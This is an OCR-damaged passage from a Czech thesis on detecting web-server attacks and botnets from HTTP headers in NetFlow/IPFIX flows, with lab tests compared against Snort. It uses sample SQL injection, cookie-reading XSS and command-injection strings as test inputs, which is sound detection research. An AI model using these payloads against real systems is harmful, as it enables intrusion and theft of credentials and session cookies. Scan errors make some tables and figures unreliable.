Spusténi prob&hne s pouzitim vychozi cesty k datiim i k NFDUMPu. Casové rozmezi,
ze kterého maji byt data zpracovana, je dano parametr. Parametr ,,r* udava od jakého data a
jaké hodiny se maji zdznamy zpracovavat. Zatimco piepinac ,,z* udava horni hranici, a to,
do jakého data a hodiny se zdznamy zpracuji.

Poslednim pfikladem je spusténi skriptu s jinou cestou k datum a vymezenim casu:
./httpAttackDetector.sh -d /var/path/to/data -m
Spusténim tohoto piikazu prob&hne, pomoci piepinace ,,d*“, nastaveni adresaie

pro vstupni data. Cesta kK NFDUMPuU zistane vychozi. Pomoci piepinaée ,,m" Se nastavi rozsah
vstupnich dat v dobé od data a ¢asu o mésic diive az do posledniho zdznamu.
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8 Testovani

Pro testovani skriptu bylo vytvoieno nékolik sad testovacich fetézcli obsahujici rizné typy
ttokti na webové servery. Jako testovaci webovy server poslouzil software EasyPHP™® verze
14.1 pro OS Windows, ktery zapouzdfuje potiebny Apache®® a dile modul PHPY a MySQL!8
databazi pro testovani uspésnosti SQL Injection utoku nad daty. Jednou z hlavnich vyhod
tohoto softwaru je vzajemné piednastaveni téchto tii programu. Pro klienta byl pouzit webovy
prohlize¢ Mozilla Firefox/45.0'°. Komunikace byla zachycena ve formatu pcap na strang
serveru. Jak detekce utokli na webovy server, tak detekce botnetu se pouzivaji na jinych
mistech, v pfipad¢ webového serveru je to ve sméru z internetu smérem k serveru a u botnetu
ve sméru z lokalni sit¢ do internetu.

8.1 Testovani utokii na webové servery

8.1.1 Testovaci sit’

Na obrazku 8.1 je zobrazena topologie testovaci sité. Klient mize byt pfipojeny k internetu
jakoukoliv dostupnou technologii, v tomto pfipadé se ptipojuje pomoci UTP kabelu. Klientem
nemusi nutné byt osobni pocitac, utok mtize byt také provadén z mobilniho telefonu ¢i tabletu
a jinych zafizeni, které obsahuji webovy prohlize¢ nebo terminal a maji konektivitu
do internetu. Server obvykle byva pfipojen vysokorychlostni linkou a to nejéastéji pomoci
nestinéné¢ho metalického kabelu (UTP). V tomto ptipadé tomu tak také je (viz Obrazek 8.1).
NetFlow sonda na serveru je softwarova.

Internet
——
<
_— sonda
Klient Webowy

Server

Obrazek 8.1: Topologie testovact site

15 http://www.easyphp.org/

16 https://httpd.apache.org/ - softwarovy webovy server s otevienym kodem

7 https://secure.php.net/ - interpret jazyka PHP

18 https://www.mysgl.com/ - volné dostupny databazovy systém s komunikaci pomoci jazyka SQL
19 https:/iwww.mozilla.org/cs/firefox/ - klientsky webovy prohlize¢
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8.1.2 Testovaci data

Testovaci fetézce byly ziskany z riznych servert (viz Ptiloha A) a také byly doplnény o vlastni
fetézce, které byly zjistény pii vlastnim zkouméani a pozorovani a to bud’to pfidanim uplné
novych nebo Upravou jiz existujicich.

Bylo vytvofeno Sest hlavnich testovacich sad pro tii scénare, kde kazda sada obsahuje
na strané¢ serveru logovaci soubor obsahujici zpravu informujici o prob&hlych utocich
vytvofeny skriptem pro tuto praci a také dalsi logovaci soubor vytvoieny softwarem Snort
obsahujici informace pouze o tocich, které detekoval jako Gito¢né. Byly provedeny a zachyceny
tyto scénafe na ziskani nebo odepteni dat na/ze serveru:

e Utok na databazi - SQL Injection

e utok na uzivatele - Cross-Site Scripting, Cross Site Request Forgery, Comment

Injection
e Utok na server - Command Injection, Code Injection, Path Traversal

Ve vSech tfech scénatich byly jednotlivé pokusy o utok jednoznaéné oddéleny (vyplyva
z toho, ze HTTP je bezstavovy), proto mohly byt provedeny ihned po sobé bez vzajemného
ovlivnéni vysledkll. Kazdy scénai obsahoval dvé testovaci sady, kdy jedna z nich méla
zakdédované jen nezbytné znaky, které se v normalni podobé v URL adrese vyskytovat
nemohou. Zatimco druha sada vyuzila nékteré fetézce ze sady prvni, které byly nasledné
rozsifeny o utok Double Encoding, kdy nékteré znaky fetézce byly jesté jednou zakddovany
pro vétsi uspésnost utoku.

Nazvy vSech vytvofenych soubort jsou uvedeny Vv tabulce 8.1. Tyto vygenerované soubory
jsou uloZeny v adresafi ,,logs*. VSechny testovaci soubory jsou umistény v adresafi ,,web*.

Scénif Nazev souboru vystupu | Nazev souboru vystupu Testované
ze skriptu ze Snortu Fetézce

utok na databazi | db_attack.log db_attack-s.log Tabulka A.1
db_attack e.log db_attack-s_e.log Tabulka A.2

utok na uzivatele | user_attack.log user_attack-s.log Tabulka A.3
user_attack _e.log user_attack-s_e.log Tabulka A.4

utok na server server_attack.log server_attack-s.log Tabulka A.5
server_attack e.log server_attack-s_e.log Tabulka A.6

8.1.21

Tabulka 8.1: Ndzvy vytvorenych souborii pri testovani

Scénar 1 - utok na databazi

V tomto scénafi se pouzily viechny fetézce z Ptilohy A podsekce Utok na databazi. Jako
vzorovy piiklad poslouZi paty fetézec v tabulce A.1 (,,name=admin&password="or 1=1%23*)
- byla pouzita databaze MySQL, proto i komentaf podporujici MySQL. Pii téchto utocich se
cililo na tabulku User (viz Tabulka 8.3), ktera obsahovala piihlasovaci udaje (viz Tabulka 8.2)
V tabulce také piihlaSovaci udaje

do systému. mimo béZnych uzivateld byli
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na administratorsky ucet (admin). Data Vv tabulce, jak piihlaSovaci jméno, tak heslo, byly
ulozeny v ¢itelné podobé a pii piihlasovani se udaje porovnavaly znak po znaku.

# Nazev Typ Porovnavani Vlastnosti Nulovy Vychozi Dalsi

1id int(11) Ne Zadnd  AUTO_INCREMENT
2 name varchar(50) utfé_general_ci Me Zadna

3 password varchar(50) utf8 general ci MNe Zadna

4 note text utfd_general_ci Ano NULL

Tabulka 8.3: Struktura tabulky Users v MySQL databazi

id name password note

1 |admin | admin Account for administration
2 client |secret Reqgular user
3| buyer | some Person who buy things

4 user |nothing Some person

Tabulka 8.2: Ukazkova data v tabulce Users

Testovaci formulaf (viz Obrazek 8.2) je umistén v souboru ,,login.php*, ktery obsahuje
vstupni pole pro jméno a heslo. Po tspésném piihlaSeni se zobrazi jméno a poznamka k nému.
Pro lepsi ptehlednost pole pro vkladani hesla zobrazuje vlozené znaky a neskryva je, jak by to
bylo v realném ptipadé.

Piihlasovaci formulaf
Jméno:
Heslo:
Piihlasit
Obrazek 8.2: Testovaci formular pro prihlasent

Pokus o ptihlaseni na Gi¢et administratora pomoci SQL Comment Injection, kdy je
snaha zakomentovat ovéfeni hesla, je zobrazen v prvnich tfech ptikladech. Dal§im zpisobem,
pokusu o ptihlaseni, je vlozeni vzdy pravdivého vyrazu, ktery zaruci vyhodnoceni hesla vzdy
jako platné. P¥iklad vstupu dat do formulafe je zobrazen na obrazku 8.3. Usp&sné provedeny
utok je vidét na obrazku 8.4. Dalsi ptiklady se snaZi ziskat data z tabulky User pomoci vkladani
blokovych komentai. Poté nasleduje pokus o zahozeni (smazani) této tabulky. Ostatni
piiklady jsou jiz pouze pro testovéni, pii vhodné upravé by se také daly pouZit pro utok
na tabulku User. Posledni tietina ptiklad obsahuje vzdy (ne)pravdivé vyrazy, které slouZzi
pouze pro test detekce.

Jmeno: admin
Heslo: |"or 1=1#

Obrazek 8.3: Naplneny formuldr pro prihldasent
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admin - Account for administration
client - Regular user

buyer - Person who buy things
user - Some person

Obrdazek 8.4: Vysledek uspésného utoku na databazi

8.1.2.2 Scénar 2 - atok na uZivatele

V tomto scénafi se pouzily viechny fetézce z Piilohy A podsekce Utok na uzivatele. Vzorovym
ptikladem pro tento typ utoku bude Cctvrty fetézec ztabulky A.3 (,,<img src=asdf
onerror=alert(document.cookie)>*). Tento utok ma za cil vyrusit uzivatele nezadouci
vyskakovaci hlaSkou — avSak neslouzi k ziskavani informaci od uzivatele, jen k jeho vyruSeni
pfi prohlizeni webu. Utok probihal nad databdzovou tabulkou Posts (viz Tabulka 8.4), ktera
obsahovala seznam piispévku uzivateli (viz Tabulka 8.5) v podob¢ atributii jméno, obsah
zpravy a Cas vlozeni.

# Nazev Typ Porovhavani Vlastnosti Nulovy Vychozi Dalsi

1 id int(11) Ne Zadna AUTO_INCREMENT
2 name varchar(50) uffé_general ci MNe Zadna

3 text  fext utfs_general_ci MNe Zadna

4 date datetime Me: CURRENT_TIMESTAMP

Tabulka 8.4: Struktura tabulky Posts v MySOL databadzi

id name text date
1| Client Some useful text. 2016-04-13 17.53:28
3 | Visitor Interesting.. 2016-04-13 17:54:51

4 | Mr. Nobody | This is so far quite boring page, please impove it | 2016-04-13 17:55:54
Tabulka 8.5: Ukazkova data v tabulce Posts

Testovaci formular (viz Obrazek 8.5) je umistén v souboru ,,posts.php®, ktery obsahuje vstupni
pole pro jméno a té€lo zpravy. Pod nim je vypsan obsah celé tabulky. V situaci, kdy na stranku
nebyl proveden zadny utok, jsou informace z tabulky v potadku vypsany. Pokud se provede

Formulaf pro vkladani poznamek

Jmeno:
Obsah:
Odeslat

Client (2016-04-13 17:53:28) : Some useful text.
Visttor (2016-04-13 17:54:51) : Interesting .
Mr. Nobody (2016-04-13 17:55:54) - This 1s so far quite boring page, please impove it.

Obrazek 8.5: Formular pro vkladani prispevkii do tabulky Posts s vypisem z tabulky
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Iméno: attacker!

<img src=asdf
Obsah: |onerror=alert (document . cockie) >

Obrdazek 8.10: Naplnény formular pro vkladant prispévkii do tabulky Posts

vlozeni vhodného fetézce (napft. fetézce ztabulky A.3 nebo A.4) do kteréhokoliv pole
formuléfe a ten se nasledn¢ odesle, tak pii dal§im vypisu tabulky se vykona dany utok.

Vlozenim ¢étvrtého fetézce z tabulky A.3 do pole pro télo zpravy (viz Obrazek 8.10) a
vlozenim jakéhokoliv neprazdného fetézce do pole pro jméno a nasledného odeslani formuléie
se prispevek zapise do tabulky. Pfi znovunacteni stranky (provede se automaticky po odeslani
formulare) dojde opét k vypisu vSech ¢lankd. Prohlize¢ narazi na obrazek, ktery si bude chtit
stahnout, ale netispésné, v tom piipadé se spusti udalost ,,onerror®, ktera vyvola vyskakovaci
okno s obsahem klientovy cookie. Vysledek utoku je mozné vidét na obrazku 8.10.

PHPSESSID=dsmbprfdons5aisitjpvt2tiqq0

Obrazek 8.10: Zobrazen uzivatelitv obsah Cookies po utoku

8.1.2.3 Scénar 3 - utok na server

V tomto scénaii se pouzily viechny fetdzce z Piilohy A podsekce Utok na server. Vzorovym
prikladem pro tento scénaf bude prvni fetézec z tabulky A.5 (,,address=127.0.0.1 | ver®). Timto
utokem je utocnik schopny ziskat uzitetna data ze serveru v podobé vykonani piikazu
Vv terminalu (nebo ve Windows v piikazové fadce) a nasledné zobrazeni jeho vystupu. Také je
mozné ziskat obsah souboru na serveru, ke kterému ma server pfistupova prava. Tyto typy
utokl nepotiebuji databazova data, nybrz souborovy systém. Vzorovy ptiklad vyuziva funkce
dokumentu, ktera vola terminalovy pfikaz ,,ping® pro zjisténi odezvy dané IP adresy.

Formulaf pro zji§téni odezvy:
IP adresa:
Odeslat

Obrazek 8.11: Formular pro vkladani IP adresy ke zjisténi dostupnosti

Formulat pro zjisténi odezvy (viz Obrazek 8.11) je umistén v souboru ,,ping.php®,
obsahujici formulat se vstupnim polem pro IP adresu. Pod formulafem se po odeslani
pozadavku a nésledném vyhodnoceni zobrazi odpovéd’. V piipad€ zadani pouze validni IP
adresy, server vrati spravnou odpovéd’ z prikazu ping.
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Formulaf pro zjiéténi odezvy:
IP adresa: 127.0.0.1 | ver
Odeslat
Obrazek 8.11: Naplnény formular pro zjisténi dostupnosti
Avsak kdyZ se do pole pro IP adresu vlozi vzorovy fetézec (viz Obrazek 8.11), je

po kratké chvili vypsana verze opera¢niho systému (viz Obrazek 8.10). Tato ukazka zobrazuje
ziskavani informaci ze serveru. Toto mlze byt uzitecné napt. pii zjiStovani, zda je mozné
provést urcity utok na server ze seznamu znamych bezpe¢nostnich dér v dané verzi systému.

Microzoft Windows [Verzion 6.3.9600]
Obrazek 8.10: Odpoved ze serveru v podobe vypsani verze operacniho systemu

8.1.2.4 Realny provoz

Jako ukazku redlného provozu byl pouzit pcap soubor ziskany ze serveru Tcprelay?, ktery
obsahoval realnou komunikaci z lokalni sit¢ k vlastnim serverim a do internetu. Z tohoto
souboru byly vyextrahovany pouze komunikace pomoci protokolu HTTP. Soubor obsahuje
zdznam pouze péti minut komunikace, ale i za tuto kratkou dobu bylo zaznamenano
pres 16 000 toka (ptes 23 000 paketl). Zachycend komunikace neni na strané webového
serveru, nybrz v lokalni siti, ale v tomto piipad¢ to nevadi a pro tento test vyhovuje. Tabulka
8.5 obsahuje ukazku péti tokt pii redlném provozu.

Start Time - Source IP Source

first seen address T HTTP URL port  lackets Bytes
122216;253—102 172.16.133.?0“ 172.16.139.250:5440 /CSIS/CSISISAPL I/ Trequest?fc924a1 8-1bfc-4685-823a-f315751019 62292 1 251
1222154257;: 172.16.133.% 172.16.139.250:5440 ICSIS!CSISISAPI.dlh’?request?‘?75ffd37—5696;8;:e—c9906d:d— = ql
122216;25;02 172.16.133.‘9;2 172.16.139.250:5440 /CSIS/CSISISAPL I TrequestiaBafefaf-1ebc-4b55-bf16-790e 65619 56889 1 251
122216435212 172_16.133_%n 50.2mdn.net fviewad/3040805/300x250_Caribbean_Adventure.jpg 52690 1 462
122221-0425813- 1?2.16.133.?‘{ ad.doubleclick.net  fadi/linkedin.dart/home;optout=false;lang=en; tile=1;5z=1x1;v=6; 64682 2 12092

Tabulka 8.5: Priklad zachycenych tokii pri realném provozu

Zadny z tokd neni nikterak kontrolovan na piitomnost ,,atoénych fetézci“. Tento test
ma oveétit, zda detekéni skript nedetekuje fetézce, které jsou zcela v poradku.

Vysledky detekce jsou obsazeny v souboru ,real.log”. Pro tento test zajimavé jsou
detekované fetézce (resp. jejich ¢ast ,,query string®), které je mozné vidét nize.

;ad w=728;ad h=90;c0id=290;nid=3689;ecaid=106535|1591
g=select%20*%20from%20ucs.breakingnewss20where%2
2=120x45&1=1413372&u=www.yahoo.com&0=1&S=3177719&& salt=13

V piipadé druhého ftetézce detekce byla spravna. Detekovany fetézec obsahoval
podfietézce ,,select * from ... where®, ktery jak bylo napsano v kapitole 6.2.2, je Injection utok.
V ostatnich dvou piipadech se jednalo o nespravnou detekci, kdy se ani v jednom piipadé
0 utok nejednalo.

20 Tcprelay - http://tcpreplay.appneta.com/wiki/captures.html
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Z celkového pohledu bylo testovano ptes 16 000 toki, z toho byl jeden identifikovan

spravné¢ a dva nespravné. Spravnost nebyla nijak ovérovana. Vysledkem tohoto testu mélo byt

ovefeni, zda detek¢ni skript napsany pro tuto praci nedetekuje pfili§ nespravnych fetézct.

Z ptedchozich ¢isel je vypocitana mira nespravné detekovanych utokt, ktera dosahuje hodnoty

0,125%o.

8.1.3

Ukazky dat

V tabulce 8.6 je zobrazen ptiklad zachycenych toki pii utoku na databazi, zatimco obrazek
8.11 ukazuje detail jednoho paketu, ktery obsahuje HTTP Zadost (request). V detailu paketu je
mozné vidét pozadovanou metodu GET, cilovou IP adresu serveru, pozadovanou URL,

identifikaci klientského prohlizece a dalsi hlavicky pro detekci Gtoku v této praci nevyznamné.

Start Time -
first seen

2016-04-12
20:06:35.096
2016-04-12
20:06:35.096
2016-04-12
20:06:35.096
2016-04-12
20:06:35.096
2016-04-12
20:06:35.096
2016-04-12
20:06:35.106
2016-04-12
20:06:35.096

8

8

8

8

8

8

8

-y

-y

-y

-y

-y

-y

-y

Source IP
address

.
.200.53.245
P
.200.53.245
.
.200.53.245
P
.200.53.245
.
.200.53.245
P
.200.53.245

.
.200.53.245

HTTP hostname

147.229.216.129

147.229.216.129

147.229.216.129

147.229.216.129

147.229.216.129

147.229.216.129

147.229.216.129

HTTP URL
fprojects
JISEXZF something™ % 2FLECTH20* % 2F** % 2FFROM¥2F**%2F Users
fprojects/7SELECT%20IF%281=1%2C%27true%27%2C%27 false
F27%29
fprojects/110%3B%20DROP%Z0Users--

fprojects/ISELECT%2F avoid-
spaces %2F%2F*%2FFROM%2F**%2F Users

fprojects/?SELECT%20login%20%2B%20%27-%27%20
%2B%20password%20FR

fprojects /7OR%202%20BETWEEN201%20AND%203

fprojects/ISELECT%20CONCAT*28login%2C%20password
#29%20FROM*%20Us

Tabulka 8.6: Priklad zachycenych tokii pri utoku na databdzi

Source

Port

49613

49619

49615

49610

49620

49640

49622

Packets Bytes

1

393

388

363

393

403

3n

396

> Frame 3: 392 bytes on wire (3136 bits), 392 bytes captured (3136 bits)
> Ethernet II, Src: HewlettP_82:7d:aa (b8:af:67:82:7d:aa), Dst: Compalln_7@:cc:8a (b8:88:e3:78:cc:8a)
> Internet Protocol Version 4, Src: 81.280.53.245, Dst: 147.229.216.129
> Transmission Control Protocol, Src Port: 496@5 (49685), Dst Port: 8@ (8@), Seq: 1, Ack:
4 Hypertext Transfer Protocol
© @GET /projects/?username=admin®27%2F*&password=passwd HTTP/1.1\r\n
Host: 147.229.216.129\r\n
User-Agent: Mozilla/5.@ (Windows NT 6.1; rv:45.8) Gecko/28188181 Firefox/45.8%r\n
Accept: text/html,application/wxhtml+xml,application/xml;q=0.9,%/*;q=0.8\r\n
Accept-Language: cs,en-US;q=08.7,en;q=8.3\r\n
Accept-Encoding: gzip, deflate\rin
Connection: keep-alivel.rin

Y

1, Len:

[Full reguest URT: http://147.229.216.129/projects/?username=admin¥27%2F*&password=passwd]

[HTTP request 1/1]

Obrazek 8.11: Priklad zachycené HTTP zddosti pri utoku na databazi
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8.2 Testovani botneta v lokalni siti

Pro spravnou funkénost detekéniho skriptu detekujiciho botnet z HTTP hlavi¢ek musi dany
,bot agent* komunikovat protokolem HTTP (viz kapitola 2.1) se vzdalenym webovym
serverem. Sonda muze byt softwarova nebo hardwarova. Sondu je zapotiebi umistit na spravné
misto. Idedlnim mistem je uzel, kterym prochazi veskera komunikace protokolem HTTP
do internetu. Takové misto je bud’to vychozi brana, nebo v ptipadé podnikové sité vétSinou
nainstalovany proxy server.

8.2.1 Testovaci sit’

Na obrazku 8.12 je zobrazena topologie testovaci sit¢. Klientem se v této topologii rozumi
jakykoliv pocita¢ piipojeny do podnikové (privatni) sité. Sonda je umisténa ve vychozi brané
a je softwarova. Veskera komunikace mimo lokalni sit je zpracovana sondou.

Internet

Klient V?Ch ozi
brana

Obrazek 8.12: Topologie testovaci sité pro detekci botnetu

8.2.2 Testovaci data

Byly vytvoteny dv¢ testovaci sady pro jeden scénai. Nazvy vSech vytvotenych soubori jsou
uvedeny v tabulce 8.7, tyto soubory jsou ulozeny v adresafi ,,logs".

Scénar Nazev vystupniho souboru Testované fFetézce
User-Agent hlavicky bot_1.log Tabulka A.7
bot_2.log Tabulka A.8

Tabulka 8.7 Ndzvy vytvorenych souborii pii testovani

8.2.21 Scénar 4 — User-Agent hlavicky

V tomto scénéfi byly pouzity vSechny fetézce z Pfilohy A podsekce Botnet User-Agent
fetézce. Pro testovani téchto fetézcl a soubézném sbéru dat sondou je mozné po exportu dat
na kolektor data filtrovat a zjistit zachycené fetézce v hlavi¢ce User-Agent nasledujicim
ptikazem (pozn. parametr ,,R* obsahuje ¢asové tidaje kdy export dat probehl, pii opakovanych
testech se bude lisit).
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/usr/local/bin/nfdump -M /data/nfsen/profiles-
data/'live'/'p9996:p6343:p3000:p2055"' -R
'2016/05/08/nfcapd.201605081755:2016/05/08/nfcapd.201605081755
' -c '5'" -0 'tstart' -o

'fmt:%ts, $sa, shhost, $hos, $happ, %sp, $Spkt, sbyt' -6

V tabulce 8.8 lze vidét graficky vystup na kolektoru piikazu uvedeného vySe. Tabulka
obsahuje pouze prvnich pét zdznami zaznamenanych sondou pii testovani fetézct z tabulky
A.7. Z tohoto vzorku zaznamu je vidét, Ze sonda identifikovala polozku User-Agent jako
klientsky prohlize¢ Internet Explorer ve vSech péti zobrazenych piipadech.

Start Time - first seen Source IP address HTTP hostname HTTP Host 05 HTTP Host Application Source Port  Packets Bytes
2016-05-08 17:56:51.298 46.36.36.206 lnm 147.229.216.129 Windows Internet Explorer 55103 1 194
2016-05-08 17:56:52.321 46.36.36.206 I 147.229.216.129 Windows Internet Explorer 55104 1 197
2016-05-08 17:56:53.345 46.36.36.206 I 147.229.216.129 Windows Internet Explorer 55105 1 217
2016-05-08 17:56:54.371 46.36.36.206 I 147.229.216.129 Windows Internet Explorer 55106 1 247
2016-05-08 17:56:55.397 46.36.36.206 I 147.229.216.129 Windows Internet Explorer 55107 1 289

Tabulka 8.8: Data zobrazena v kolektoru pri testu retézcii z tabulky A.7

Graficky vystup prikazu vyse (vhodné pozménéna hodnota parametru R) je vidét v tabulce 8.9.
Stejné jako tabulka 8.8 obsahuje prvnich pét ilustrativnich zaznamu, ale v tomto piipadé
zaznamenanych sondou pfii testovani fetézcu ztabulky A.8. Vsechny vzorky byly
identifikovany jako klientsky prohlize¢ Mozilla.

Start Time - first seen Source IP address HTTP hostname HTTP Host 05 HTTP Host Application Source Port  Packets Bytes
2016-05-08 18:25:50.499 46.36.36.2006 I 147.229.216.129 Windows Mozilla 57243 1 205
2016-05-08 18:25:51.527 46.36.36.2006 I 147.229.216.129 Windows Mozilla 57244 1 234
2016-05-08 18:25:52.551 46.36.36.2006 I 147.229.216.129 Linux Mozilla 57245 1 201
2016-05-08 18:25:53.591 46.36.36.2006 I 147.229.216.129 Windows Mozilla 57246 1 209
2016-05-08 18:25:54.615 46.36.36.2006 I 147.229.216.129 Debian Mozilla 57247 1 217

Tabulka 8.9: Data zobrazena v kolektoru pri testu retézcii z tabulky A.8
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8.3 Vyhodnoceni

V této kapitole byly popsany testovaci prostiedi spole¢né s testovanymi scénaii a ukazkami
nekterych typickych utokt a jejich ptipadnych dusledki. Bylo otestovéano, Ze lze korektné
detekovat vétSinu fetézcii (viz vyhodnoceni nize), které obsahuji utocné podietézce a
informovat o nich administratora ve formatu zacatek toku, URL adresy na kterou uto¢nik cilil
spolecné s fetézcem dotazu (query string) a jeho IP adresou. Dale bylo otestovan0 mnozstvi
vyskytu nespravné detekovanych utoki v realné komunikaci.

8.3.1 Vyhodnoceni itoki na webovy server

Na graf 8.1 l1ze vidét vysledky testd Gtokd na webovy server. Utoky jsou rozdéleny
do jednotlivych kategorii — viz kapitola 8.1.2. Utoky byly analyzovany jak vytvofenym
skriptem, tak také programem Snort. Z grafu Ize vy¢ist nasledujici informace: pocet utokti dané
kategorie celkem (zelend Céra), dale pocet detekei skriptem (BP — oranzovy sloupec) a pocet
detekci programem Snort (modry sloupec). Porovnanim skriptu s programem Snort, se
zakladnimi detek¢énimi pravidly (viz kapitola 6.4.1), dle provedenych testd, 1ze oznacit skript

Srovnani pro jednotlivé scénaie po jednotlivych kategoriich je nésledujici. V ptipadé
utoku na databazi, at’ jiz zakladniho nebo rozsifeného, tak program Snort detekoval pouze
zhruba polovinu utokd, které detekoval skript. AvSak uspésnost skriptu v této kategorii neni
prilis uspokojiva a zastavuje se na hodnoté¢ 66.6% uspésné detekce (celkem 66 utoénych
fetézcl, z toho 44 detekovanych). V kategorii Utoku na uzivatele je v ptfipadé¢ Snortu
detekovano pouze 40% utokt, zatimco skript uspésné detekoval vétSinu testovanych fetézct.
Vyjadieno v procentech je to 95% uspésnost. V posledni kategorii Gtoku na server byla
uspésnost Snortu pouze 20%., zatimco skript detekoval 65% vSech utokt (celkem 43 ttoku,
z toho 27 detekovanych). Vysledky testovani zobrazeny Vv absolutnich poétech detekci jsou
vypsany V tabulce 8.10.

SNORT BP CELKEM
utok na databdzi 12 28 43
rozsiteny utok na databazi 9 16 23
utok na uzivatele 17 36 37
rozSifeny utok na uzivatele 7 20 22
utok na server 4 14 24
rozsifeny utok na server 5 13 19

Tabulka 8.10: Tabulka se zobrazenim vysledkii testovani v poctech detekci a celkem

Velka uspésnost detekce skriptu je také podminéna testovaci mnozinou fetézct, jak 1ze
vidét v kategorii utoku na databazi, kde bylo detekovano podstatné méné utoki nez ve zbylych

vvvvvv

vvvvvv

na webové servery z analyzy HTTP hlaviéek, neZ je program Snort. Uskali tkvi v sondé, ktera
je schopna zaznamenat pouze prvnich 63 znakli pozadované URL (mimo adresy serveru).
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Vyhodnoceni test atokd

100,000
B SNORT
90,000
mBP
20,000

70,000

60,000
50,000
40,000
30,000
20,000
10,000

0,000

rozsireny Utok na rozéifeny atok na rozéireny atok na

Pocet detekci/Utokd [%6]

Typ dtoku utck na databézi utok na uZivatele utok na server

databazi ufivatele server
m SNORT 27,907 39,130 45,945 31,818 16,667 26,316
mEP 65,116 9,565 97,297 90,909 58,333 68,421

Graf 8.1: Graf se zobrazenim vysledkii testovini — pocet detekovanych utokii v procentech

V tom piipadé, kdyby se Utocny podietézec vyskytoval az za touto hranici, skript by ho
nenalezl. Naopak jako vyhodu programu Snort Ize oznacit moznost dopisovat si vlastni dalsi
pravidla, nebo upravovat stavajici.

Detekovani utokt pomoci analyzy fetézcti obsazenych v ,,Cookies™ je v této praci
nemozné, z divodu nedostatki informaci sbiranych sondou. Sonda tuto HTTP hlavicku
ignoruje, respektive ji neuklada do IPFIX zdznamu a proto neni mozné s touto polozkou dale
pracovat. V piipadé¢ HTTP autorizace nastava podobny problém, kdy sonda tuto hlavicku
neuklada, a proto neni detekce mozna.

Brute force metoda se pouziva nejcastéji k utoku na autorizaci uzivateld, kdy se
autorizacni udaje zasilaly metodou GET, ktera tyto udaje vklada jako soucast URL adresy.
Dnes jiz minimaln€ pouzivané a nahrazované zasilanim autorizacnich dat metodou POST,
nejsou soucasti IPFIX zaznamu, proto nelze detekovat tento typ utoku. V piipad¢ autorizace
je lepsi pouzivat Sifrované spojeni v podobé HTTPS.
posilat. V nékterych ptipadech je napf. zadouci odesilat SQL dotaz nebo slozeny ptikaz
do konzole, v takovém piipadé by bylo vhodné detekéni skript poupravit a néktera pravidla by
mohly byt ,,pfisné&jsi‘.

8.3.2 Vyhodnoceni botneti v lokalni siti

Analyzou HTTP hlavicky User-Agent je detekce botnetu, z divodu nepiesného
zaznamenani této hodnoty do formatu IPFIX, obtizna. Pti testovani fetézci z tabulky A.7, kde
kazda hodnota byla pouzita v né€kterém realnym botnetu, sonda zaznamenala 26 nespravné
identifikovanych utoku (tyto fetézce identifikovala jako klientsky prohlize¢) a zbylych 21
neidentifikovala viibec, u kterych tuto hodnotu oznacila jako prazdnou. Vystup skriptu
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pro tento test je uloZen v souboru ,,bot 1.log“. Sonda ma u této hlavicky definovany vyctovy
typ, ktery obsahuje jen nazvy béznych klientskych prohlizecti a dale nékteré¢ dal§i nazvy,
predevsim neSkodnych bott, ¢i komunikacnich programd.

Testovani fetézcu z tabulky A.8, kde vSechny hodnoty byly zaznamenany z béznych
klientskych prohlizect, sonda identifikovala vSechny spravné, tj. 24 spravné detekovanych
fetézcu. Vystup skriptu pro tento test je ulozen v souboru ,,bot 2.log*. Avsak z davodu velkého
poctu neuspésnych detekci a hlavné diky nezaznamenavani ptichozi hodnoty v hlavicce User-
Agent se tato metoda neda ucinné pouzit pro detekci botnetu z IPFIX dat zachycenych sondou.

Detekce pomoci hlavicky User-Agent by byla mozna v ptipad¢, kdy by sonda ukladala
nezménénou hodnotu této hlavicky do zaznamu IPFIX. Nésledné by bylo mozné identifikovat
také jiné fetézce, nez jsou hodnoty ve vyctovém typu.

Utoky typu XSS nebo injection obsazené v hlaviéce User-Agent nejsou sondou
zaznamenany a tato hodnota se zobrazuje, jako nezadana.

Pomoci hlavicky HTTP Hostname nebo HTTP URL detekce botnetu je obtizna
vzhledem k nutnosti neustale aktualizace databaze botnet C&C serverd. V ptipadé HTTP
uvedena vibec, nebo jeji hodnota je stejna, jakou odesila klientsky prohlize¢. Pro vice
informaci viz kapitola 6.3.2.

Z vyse uvedenych informaci je zfejmé, ze v tomto stavu v jakém momentalné uklada
sonda toky do IPFIX zaznamt je detekce velice neptesnd (viz vyse testovani HTTP hlavicky
User-Agent). Jeden ze zpusobu jak detekovat botnet z IPFIX dat je ten, Zze se analyzuji ¢asy
pfistupu na servery a detekuje se pravidelnost téchto navstév, ale tato detekce nesouvisi
s HTTP hlavickama.

Zavérem celého vyhodnoceni je tfeba podotknout, ze Zadnou z HTTP hlavicek

ukladanych sondou do IPFIX z4dznamu, kromé hlavicky HTTP URL, neni mozné v tomto
ptipadé¢ pouzit k detekcei sitovych utoka.
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0 Z.aver

Cilem této prace bylo se seznamit s fungovanim komunikac¢niho protokolu HTTP, jeho
pouzivanymi hlavickami a nastudovat uklddani NetFlow dat ve formatu IPFIX. Dale
prozkoumat typy botnetl, Gitoky s nimi spojenymi a jak se proti nim branit. Také prostudovat
jednotlivé utoky na webové servery, V jakych podobach se vyskytuji a jak je lze detekovat
Vv sitovém provozu.

V teoretické Casti byl popsan, pro tuto praci stézejni, protokol HTTP a jeho zptsob
autorizace, ukladani stavu a zabezpeceni. Dale byl popsan zplisob monitorovani sitovych tok
NetFlow sondami do formatu IPFIX. Soucasti dalsi kapitoly jsou typy a zptisoby komunikace
botnetli spole¢né s opatfenimi proti nim. Dale jsou rozebrany jednotlivé utoky na webové
servery, které lze detekovat pomoci analyzy HTTP hlavi¢ek, kde popis kazdého utoku
obsahuje zpisob a jejich nejéastéjsi formy vyskytu. Poté nasleduje zptisob detekce takovychto
utokd.

Tato prace je experimentdlni a zkouma moznosti detekce sitovych utokl
analyzou informaci z HTTP hlavi¢ek. Detekce probiha az po zachyceni sondou a nasledném
exportovani na kolektor (Post Mortem). Omezeni sondy piiukladani HTTP hlavicek
Vv jednotlivych tocich do formatu IPFIX jsou uvedeny v kapitole HTTP hlavicky obsazené
v IPFIX.

V kapitole Metody detekce a implementace je nastinén algoritmus detekce Gtoku a jeho
pozadavky, které musi splnovat, dale jsou uvedeny regularni vyrazy, jakozto stézejni bod
skriptu, kdy jsou vyuzity, jako hlavni prostfedek pro detekci Gtoku. Poté jsou zobrazeny
ukazky pouziti skriptu. Kapitola testovani zahrnuje predstaveni testovaci sité a jeji pozadavky,
také pouzita testovaci data a jednotlivé testovaci scénafe k nim. Nasleduje podkapitola
